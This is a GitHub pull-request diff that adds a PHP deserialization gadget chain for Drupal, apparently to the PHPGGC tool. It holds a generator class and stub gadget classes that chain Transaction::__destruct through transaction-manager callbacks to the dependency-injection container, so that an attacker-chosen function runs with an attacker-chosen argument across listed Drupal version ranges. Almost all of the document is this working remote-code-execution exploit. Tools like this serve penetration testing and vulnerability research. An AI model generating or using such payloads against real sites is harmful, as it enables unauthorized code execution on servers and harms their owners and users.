Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions gadgetchains/Drupal/RCE/2/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
<?php

namespace GadgetChain\Drupal;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '>= 8.0.0 < 10.4.9 || >= 10.5.0 < 10.5.6 || >= 11.0.0 < 11.1.9 || >= 11.2.0 < 11.2.8';
public static $vector = '__destruct';
public static $author = 'anzuukino aka Yuu';
public static $information =
'It uses a __destruct() method to trigger call_user_func(), which eventually leads to a call_user_func_array() call after several intermediate function jumps.';

public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
$serviceDefinitions = [
1 => [
'factory' => $function,
'arguments' => [$parameter],
],
];
$container = new \Drupal\Component\DependencyInjection\Container($serviceDefinitions);
$callback = [$container, 'get'];

$transactionId = 'x';
$stackItem = new \Drupal\Core\Database\Transaction\StackItem('anzuukino', \Drupal\Core\Database\Transaction\StackItemType::Root);

$manager = new \Drupal\mysql\Driver\Database\mysql\TransactionManager(
[$transactionId => $stackItem],
[$callback],
\Drupal\Core\Database\Transaction\ClientConnectionTransactionState::Committed,
$transactionId,
);

$connection = new \Drupal\mysql\Driver\Database\mysql\Connection($manager);

$payload = new \Drupal\Core\Database\Transaction($connection, 'a', $transactionId);
return $payload;
}
}
103 changes: 103 additions & 0 deletions gadgetchains/Drupal/RCE/2/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
<?php

namespace Drupal\Core\Database\Transaction {

interface TransactionManagerInterface {
public function beginClientTransaction();
public function rollbackClientTransaction();
public function commitClientTransaction();
}

enum StackItemType: string {
case Root = 'root';
case Nested = 'nested';
}

enum ClientConnectionTransactionState: string {
case Committed = 'committed';
case Rollbacked = 'rollbacked';
}

class StackItem {
protected string $name;
protected StackItemType $type;

public function __construct(string $name, StackItemType $type) {
$this->name = $name;
$this->type = $type;
}
}

class TransactionManagerBase {
protected string $rootId;
protected array $stack;
protected array $voidedItems;
protected array $postTransactionCallbacks;
protected ClientConnectionTransactionState $connectionTransactionState;

public function __construct(array $voidedItems, array $callbacks, ClientConnectionTransactionState $state, string $rootId = 'x') {
$this->rootId = $rootId;
$this->stack = [];
$this->voidedItems = $voidedItems;
$this->postTransactionCallbacks = $callbacks;
$this->connectionTransactionState = $state;
}
}
}

namespace Drupal\mysql\Driver\Database\mysql {

use Drupal\Component\DependencyInjection\Container;
use Drupal\Core\Database\Transaction\TransactionManagerBase;
use Drupal\Core\Database\Transaction\TransactionManagerInterface;

class TransactionManager extends TransactionManagerBase implements TransactionManagerInterface {
protected ?Container $container = null;

public function beginClientTransaction() {}
public function rollbackClientTransaction() {}
public function commitClientTransaction() {}
}

class Connection {
protected TransactionManager $transactionManager;

public function __construct(TransactionManager $manager) {
$this->transactionManager = $manager;
}
}
}

namespace Drupal\Component\DependencyInjection {

class Container {
protected array $parameters = [];
protected array $aliases = [];
protected array $serviceDefinitions = [];
protected array $services = [];
protected array $privateServices = [];
protected array $loading = [];
protected bool $frozen = false;

public function __construct(array $definitions) {
$this->serviceDefinitions = $definitions;
}
}
}

namespace Drupal\Core\Database {

use Drupal\mysql\Driver\Database\mysql\Connection;

class Transaction {
protected Connection $connection;
protected string $name;
protected string $id;

public function __construct(Connection $connection, string $name, string $id) {
$this->connection = $connection;
$this->name = $name;
$this->id = $id;
}
}
}